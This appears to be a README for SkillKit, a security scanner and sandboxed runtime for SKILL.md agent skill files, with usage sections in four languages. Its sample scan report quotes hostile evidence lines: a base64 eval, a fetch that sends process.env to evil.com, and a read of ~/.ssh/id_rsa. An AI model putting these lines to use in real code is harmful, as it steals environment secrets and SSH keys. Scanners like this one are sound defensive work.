JSPM

  ███████╗██╗  ██╗██╗██╗     ██╗  ██╗██╗████████╗
  ██╔════╝██║ ██╔╝██║██║     ██║ ██╔╝██║╚══██╔══╝
  ███████╗█████╔╝ ██║██║     █████╔╝ ██║   ██║
  ╚════██║██╔═██╗ ██║██║     ██╔═██╗ ██║   ██║
  ███████║██║  ██╗██║███████╗██║  ██╗██║   ██║
  ╚══════╝╚═╝  ╚═╝╚═╝╚══════╝╚═╝  ╚═╝╚═╝   ╚═╝

What is SkillKit?

SkillKit is an open-source security scanner and runtime for SKILL.md files — the standard format used by ClawHub's 13,700+ skills, Claude Code, OpenAI Codex, and VS Code Copilot. It scans for 72+ threat patterns across 14 categories including memory poisoning, prompt injection, and supply chain attacks — then executes safely in a sandboxed environment with any AI model.

# Install and scan in 10 seconds
npm install -g skillkit
skillkit scan suspicious-skill.md
skillkit run safe-skill.md --provider groq

Why SkillKit?

• VirusTotal only detects 57.7% of threats in OpenClaw skills
• 36% of ClawHub skills have security flaws (Snyk research)
• 12% are actual malware (ClawHavoc campaign)
• SkillKit detects what others miss: memory poisoning, sleeper agents, API key leaks, supply chain attacks

Security Comparison

Quick Start

# 1. Install globally
npm install -g skillkit

# 2. Scan a skill for threats BEFORE running it
skillkit scan my-skill.skill.md
# => Safety Score: 95/100 | APPROVED | 0 threats found

# 3. Run safely with any AI model
skillkit run my-skill.skill.md --provider groq
skillkit run my-skill.skill.md --provider openai --model gpt-4o

# 4. Scan a suspicious skill
skillkit scan evil-skill.skill.md
# => Safety Score: 12/100 | BLOCKED
# => CRITICAL: Memory poisoning detected (SOUL.md manipulation)
# => CRITICAL: API key exfiltration (sk- pattern found)
# => HIGH: Supply chain attack (curl | bash pattern)

Threat Detection: 14 Categories, 72+ Patterns

Security Badge

Show the world your skills are verified. Generate a shields.io badge after scanning:

# Generate badge for your skill
skillkit badge my-skill.skill.md
# => [![SkillKit Verified](https://img.shields.io/badge/...)](https://github.com/artefactforge/skillkit)

# Auto-append to your README
skillkit badge my-skill.skill.md --output README.md

# Choose badge style
skillkit badge my-skill.skill.md --style flat-square

Badge levels:

Score	Badge	Status
90-100 (0 threats)		SAFE — Verified clean
80-89		APPROVED — Minor observations
50-79		REVIEW REQUIRED — Needs attention
0-49		BLOCKED — Do not execute

Architecture

skillkit/
├── src/
│   ├── guard/          # SkillGuard — 72+ threat patterns, 14 categories
│   ├── sandbox/        # Process + Docker sandbox with shell:false isolation
│   ├── core/           # SKILL.md parser (Zod validated), runtime engine
│   ├── router/         # Multi-model router — 11 providers, 39+ models
│   ├── cli/            # CLI: scan, badge, run, init, search, install, list, deploy
│   ├── hub/            # ClawHub client + local skill registry
│   ├── channels/       # WhatsApp, Telegram, Discord, Slack adapters
│   ├── tools/          # Tool system (search, extract, crawl)
│   ├── i18n/           # EN, ES, ZH, PT translations
│   └── utils/          # Logger, error handling
├── .github/workflows/  # GitHub Action for automated scanning
├── examples/           # 8 example skills
└── tests/              # 36+ tests

Supported Models

SkillGuard Security

SkillKit includes SkillGuard, a security scanner that detects malicious patterns in SKILL.md files before execution:

$ skillkit scan suspicious-skill.md

  SkillGuard Security Report
  ─────────────────────────────────────
  Safety Score: 23/100        BLOCKED

  CRITICAL (2):
  [C1] Code injection detected (line 42)
       Evidence: eval(Buffer.from('...', 'base64').toString())

  [C2] Data exfiltration attempt (line 67)
       Evidence: fetch('https://evil.com/collect', { body: process.env })

  HIGH (1):
  [H1] Credential theft pattern (line 15)
       Evidence: readFileSync(path.join(homedir(), '.ssh/id_rsa'))

  Recommendation: DO NOT execute this skill.

72+ detection patterns across 14 categories — including 3 categories nobody else detects: memory poisoning (SOUL.md/MEMORY.md attacks), sensitive data (API key format detection for OpenAI, Anthropic, AWS, Groq, GitHub), and supply chain attacks (pipe-to-shell, postinstall hooks, remote imports).

Creating Your Own Skill

Skills are simple Markdown files with YAML frontmatter:

---
name: my-awesome-skill
description: Does something amazing
version: 1.0.0
author: YourName
tags: [productivity, automation]
model_requirements:
  minSize: medium
  capabilities: [streaming]
inputs:
  - name: task
    type: string
    description: What to do
    required: true
outputs:
  - name: result
    type: string
    description: The output
---

# My Awesome Skill

You are a helpful assistant that [does something specific].

## Instructions

1. Take the user's input
2. Process it in a specific way
3. Return a structured result

## Examples

**Input:** "example input"
**Output:** "example output"

Contributing

We welcome contributions in all languages! See CONTRIBUTING.md for guidelines.

git clone https://github.com/artefactforge/skillkit.git
cd skillkit
npm install
npm run dev

Que es SkillKit?

SkillKit es un escaner de seguridad open-source para archivos SKILL.md — el formato estandar de ClawHub, Claude Code, y OpenAI Codex. Detecta 72+ patrones maliciosos en 14 categorias incluyendo envenenamiento de memoria, inyeccion de prompts, robo de credenciales, y ataques de cadena de suministro — luego ejecuta de forma segura con cualquier modelo de IA.

# Instalar y ejecutar en 10 segundos
npx skillkit init
skillkit run --skill email-assistant --model deepseek-r1

Por que SkillKit?

Inicio Rapido

# 1. Instalar
npm install -g skillkit

# 2. Configuracion interactiva (idioma, proveedor, API key)
skillkit init

# 3. Ejecutar un skill con tu modelo preferido
skillkit run --skill email-assistant --model deepseek-chat --input "Seguimiento propuesta cliente"

# 4. Escanear seguridad de un skill
skillkit scan clawhub://solana-wallet-tracker
# => BLOQUEADO: keylogger detectado (puntuacion: 12/100)

# 5. Ejecutar con modelo local GRATIS
skillkit run --skill data-analyst --model ollama/qwen2.5

# 6. Desplegar como bot de WhatsApp
skillkit deploy --channel whatsapp --skill customer-support

Modelos Soportados

Contribuir

Aceptamos contribuciones en todos los idiomas. Consulta CONTRIBUTING.md.

什么是 SkillKit？

SkillKit 是一个开源运行时，可以执行 SKILL.md 文件——ClawHub 上 10,700+ 技能使用的标准格式——支持任何 AI 模型（Claude、GPT、DeepSeek、通义千问、Ollama、Gemini 等），支持任何语言，并内置安全扫描功能。

# 10秒内安装并运行
npx skillkit init
skillkit run --skill email-assistant --model deepseek-r1

为什么选择 SkillKit？

快速开始

# 1. 安装
npm install -g skillkit

# 2. 交互式设置（选择语言、供应商、API密钥）
skillkit init

# 3. 使用国产模型运行技能（免费）
skillkit run --skill data-analyst --model deepseek-chat --input "分析我的销售数据"

# 4. 使用本地模型（零成本）
skillkit run --skill email-assistant --model ollama/qwen2.5

# 5. 安全扫描
skillkit scan clawhub://solana-wallet-tracker
# => 已拦截：检测到键盘记录器（安全评分：12/100）

支持的国产模型

贡献

我们欢迎所有语言的贡献！请参阅 CONTRIBUTING.md。

O que e SkillKit?

SkillKit e um runtime open-source que executa arquivos SKILL.md — o formato padrao usado pelas 10.700+ skills do ClawHub — com qualquer modelo de IA, em qualquer idioma, com varredura de seguranca integrada.

# Instalar e executar em 10 segundos
npx skillkit init
skillkit run --skill email-assistant --model deepseek-r1

Inicio Rapido

npm install -g skillkit
skillkit init
skillkit run --skill email-assistant --model deepseek-chat --input "Acompanhamento da proposta do cliente"
skillkit scan clawhub://solana-wallet-tracker

Contribuir

Aceitamos contribuicoes em todos os idiomas! Consulte CONTRIBUTING.md.